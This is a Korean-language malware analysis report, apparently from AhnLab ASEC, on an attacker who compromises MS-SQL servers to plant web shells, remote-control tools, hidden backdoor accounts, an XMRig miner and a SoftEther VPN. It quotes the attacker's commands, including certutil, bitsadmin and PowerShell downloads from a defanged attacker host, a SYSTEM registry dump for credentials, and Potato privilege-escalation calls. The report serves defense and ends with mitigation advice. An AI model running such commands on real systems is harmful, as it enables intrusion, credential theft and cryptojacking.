GotoHTTP와 SoftEther VPN을 설치하는 MS-SQL 서버 대상 공격 사례
AhnLab SEcurity intelligence Center(ASEC)은 MS-SQL 서버에 대한 공격 사례를 모니터링하던 중 Larva-26009 공격자가 XMRig 코인 마이너를 설치하는 사례를 확인하였다. MS-SQL 서버를 대상으로 한 공격 사례들 중 코인 마이너를 설치하는 사례는 흔하지만 이번에 확인된 공격에서는 VShell, GotoHTTP를 설치하여 감염 시스템에 대한 제어를 탈취하였으며 SoftEther를 설치해 VPN 서버로 사용하기도 하였다.
1. 초기 침투 과정 (MS-SQL)
최초 침투 과정은 알 수 없지만 부적절하게 관리되고 있는 MS-SQL 서버가 공격 대상인 것으로 추정된다. 공격자는 MS-SQL 서버를 공격해 악성 명령들을 실행하였으며 이를 통해 추가 페이로드가 다운로드되었다. 공격이 사용된 시스템에서는 ping 명령을 실행한 로그만 확인되었으며 추가적인 정보 조회 과정 없이 다운로드 명령들을 실행해 악성코드들을 설치하였다.
> ping -n 10 127.0.0.1

Figure 1. MS-SQL 서버 프로세스에 의해 실행되는 파워쉘
2. 웹쉘 설치 (IIS WebServer)
초기 침투 방식은 MS-SQL 서버이지만 웹 서버가 설치된 시스템에서는 지속성을 유지하고 감염 시스템을 제어하기 위해 웹쉘을 추가적으로 설치하였다. 다음은 공격 사례에서 확인된 명령으로 certutil.exe를 이용해 다운로드한 웹쉘을 복호화 하였다.
> certutil.exe -decode E:\*****\web\*****\images\1.txt E:\******\web\*****\images\homename.aspx
공격에 사용된 웹쉘은 확보되지 않았지만 공격자의 다운로드 서버에는 웹쉘 악성코드들이 존재하여 해당 주소에서 다운로드하였을 가능성이 존재한다. 첫 번째 유형은 Sharp4WebCmd라는 이름의 ASPX 웹쉘로 명령 실행을 지원하며 두 번째 유형은 Suo5로 터널링 기능을 지원한다.

Figure 2. 공격에 사용된 ASPX 웹쉘들
이외에도 파워쉘 스크립트로 제작한 웹쉘도 존재하는데 이에 따라 웹 서버가 아닌 환경에서도 37681 포트에 접속해 감염 시스템을 제어할 수 있다. 파워쉘 웹쉘은 로그인 시 인증이 필요하며 사용자 이름은 “joke”, 비밀번호는 “jokeyyds666″가 기본적으로 사용된다.

Figure 3. 파워쉘 웹쉘
3. 기타 도구들
3.1. 자격 증명 정보 탈취
공격자는 다음 명령을 실행해 “HKLM\SYSTEM” 레지스트리를 덤프하려고 시도하였다. 이는 일반적으로 “HKLM\SAM”, “HKLM\SECURITY”와 함께 덤프하여 자격 증명 정보를 탈취하기 위한 과정에서 사용되는 명령이다.
> reg save HKLM\SYSTEM C:\users\[사용자 이름]\ys.hiv
다운로드 서버에는 오픈 소스 도구인 HackBrowserData가 존재하는데 HackBrowserData는 웹 브라우저에 저장된 자격 증명 정보, History, 쿠키 등의 정보를 탈취하는 도구로서 Chromium 기반 및 Firefox, Safari를 지원한다.
3.2. Potatos
공격자는 JuicyPotatoNG, SigmaPotato, BadPotato, RustPotato 등 다양한 권한 상승 도구들을 사용하고 있다.
3.3. 스캐너
다운로드 서버에는 Fscan 도구도 업로드되어 있는데 공격자는 필요할 때 내부 네트워크를 스캔해 측면 이동을 위한 공격 대상을 식별할 수 있을 것으로 보인다.
3.4. 쉘코드, RingQ
공격자는 탐지를 우회하기 위한 목적으로 암호화된 데이터 파일들을 사용하였다. 쉘코드를 실행하는 기능을 갖는 악성코드는 인자로 암호화된 쉘코드의 경로 및 비밀번호를 전달받으며 DJB2 알고리즘을 이용해 복호화한 후 메모리에서 실행한다.
RingQ 또한 동일 경로에 위치한 암호화된 파일을 읽어와 복호화한 후 메모리에서 실행하는 기능을 갖는 도구로 깃허브에 공개되어 있다. 공격자의 다운로드 서버에 존재하는 압축 파일 내부에는 RingQ와 암호화된 데이터 파일 “main.txt”가 존재한다. RingQ가 실행되면 동일 경로에 위치한 “main.txt”를 복호화하여 메모리에서 실행하며 복호화된 것은 GotoHTTP이다.
또 다른 공격 사례에서는 정상 NVIDIA 유틸리티를 악용하였다. 해당 파일의 코드 영역을 패치해 쉘코드 로더로 사용하였는데 로더는 다음 명령으로 다운로드된 “gojoke.png”를 읽어와 메모리에서 복호화해 실행한다.
> powershell (new-object System.Net.WebClient).DownloadFile(‘hxxps://pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev/goto/gojoke.png’,’C:\users\[사용자 이름]\gojoke.png’)”
4. 원격 제어
4.1. GotoHTTP
GotoHTTP는 다운로드 서버에 직접 업로드되어 있기도 하지만 암호화된 데이터 형태로 유포되어 RingQ 및 쉘코드 로더에 의해 실행되기도 한다. 공격자는 GotoHTTP를 이용해 권한 상승 도구들을 설치하였으며 다음과 같은 명령들을 실행하였다.
> net group /domain
> RasManPotato.exe -c “cmd /c ipconfig”
> JuicyPotatoNG.exe -t * -p “C:\Windows\system32\cmd.exe” -a “/c ipconfig > C:\users\[사용자 이름]\1.txt”
4.2. 크롬 원격 데스크톱
다운로드 서버에는 이외에도 크롬 원격 데스크톱(Chrome Remote Desktop)의 설치 파일도 존재한다. 구글의 크롬 원격 데스크톱을 특정 시스템에 공격자의 계정으로 설치할 경우 다른 시스템에서 크롬 웹 브라우저로 해당 시스템에 대한 원격 제어 기능을 제공한다. GotoHTTP와 유사하게 크롬 원격 데스크톱도 정상적인 환경에서도 자주 사용되는 도구이기 때문에 일반적인 악성코드들과 달리 이러한 도구들을 단순하게 탐지하고 차단하는 데 한계가 존재한다. 공격자들은 이러한 점을 악용하여 최초 침투 과정이나 측면 이동 과정에서 공격 대상 시스템을 제어하기 위해 백도어 악성코드 대신 원격 제어 도구들을 설치하기도 한다.
4.3. 백도어 계정
공격자는 백도어 계정을 추가하는 Batch 악성코드를 사용하였는데 중국어로 된 주석이 포함된 것이 특징이다. “MSSQLSERVERS$”, “mssql$”, “adminweb1$”라는 계정이 추가되며 이름 마지막에 붙인 “$” 및 SpecialAccounts 등록 과정을 통해 기존 사용자가 새로운 계정이 추가되었는지를 확인하기 어렵게 한다. 공격자는 생성한 계정을 통해 추후 RDP로 감염 시스템을 원격 제어할 수 있을 것이다.

Figure 4. 사용자 계정 추가 악성코드
4.4. VShell
정상 도구를 악용하기도 하지만 다운로드 서버에는 VShell 백도어 악성코드도 존재한다. VShell은 Go 언어로 개발된 백도어 악성코드로서 윈도우, 리눅스 등 멀티 플랫폼을 지원한다. C&C 서버와의 통신 과정에서 TCP, HTTP, UDP 등의 프로토콜을 지원하며 원격 명령 실행, 파일 관리와 같은 원격 제어 기능들을 제공한다. 그리고 미미카츠, fscan 스캐너, gost 프록시, 사용자 계정 추가 도구도 플러그인으로 사용할 수 있다.

Figure 5. VShell 설정 데이터
4.5. 프록시
공격 사례에서는 Cloudflared를 이용해 로컬 포트를 외부에 노출하기도 하였다. 다음과 같은 파워쉘 스크립트는 압축 파일을 다운로드한 후 Cloudflared를 실행해 사용 가능한 로컬 포트를 외부에 노출한다. Cloudflared 명령 실행 결과 생성되는 접근 URL은 로그 파일에 저장되어 C&C 서버에 전송된다.

Figure 6. Cloudflared를 이용해 로컬 포트를 노출시키는 파워쉘 스크립트
5. 최종 페이로드
5.1. XMRig
공격자는 감염 시스템에 대한 제어를 획득하기 위해 원격 제어 도구 및 백도어 계정 그리고 VShell을 이용하였으며 이를 통해 민감한 정보를 탈취할 수 있다. 실제 공격 사례에서는 XMRig를 설치하였는데 다음 명령을 통해 XMRig가 포함된 압축 파일을 다운로드하였다.
> bitsadmin /transfer “Download_xmr-1.zip” /download /priority normal “hxxps://pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev/wk/009/xmr-1.zip” “C:\Program Files (x86)\Microsoft\EdgeUpdate\xmr-1.zip”
압축 파일 내에 존재하는 “edge.exe”는 쉘코드 로더이며 동일 경로에 존재하는 “edgeico.ico”를 복호화해 메모리에서 실행한다. 최종적으로 실행되는 것은 XMRig 코인 마이너이다.

Figure 7. XMRig 설정 파일
5.2. SoftEther VPN
감염 시스템에는 XMRig 외에도 SoftEther VPN 서버가 설치되었다. 설정 파일을 보면 공격자는 감염 시스템을 단독으로 VPN 서비스를 제공하는 서버로서의 역할이 아닌 또 다른 VPN 서버에 연결하는 “Cascade Connection” 방식으로 동작시킨다. 즉 공격자는 보안 및 프라이버시를 강화하고 실제 C&C 서버에 대한 추적을 방해하기 위한 C&C 인프라 구축을 위해 활용하는 것으로 추정된다.
> certutil.exe -urlcache -split -f “hxxps://pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev/009/qd_c_joke1.2.ps1” C:\users\[사용자 이름]\qd_c_joke1.2.ps1

Figure 8. SoftEther VPN 설정 파일
6. 결론
MS-SQL 서버를 대상으로 하는 공격에는 대표적으로 부적절하게 계정 정보를 관리하고 있는 시스템들에 대한 무차별 대입 공격(Brute Forcing)과 사전 공격(Dictionary Attack)이 있다. 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 데이터베이스 서버를 보호해야 한다.
그리고 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 또한 외부에 공개되어 접근 가능한 데이터베이스 서버에 대해 방화벽과 같은 보안 제품을 이용해 외부 공격자로부터의 접근을 통제해야 한다. 위와 같은 조치가 선행되지 않을 경우 공격자 및 악성코드들에 의해 계속적인 감염이 이루어질 수 있다.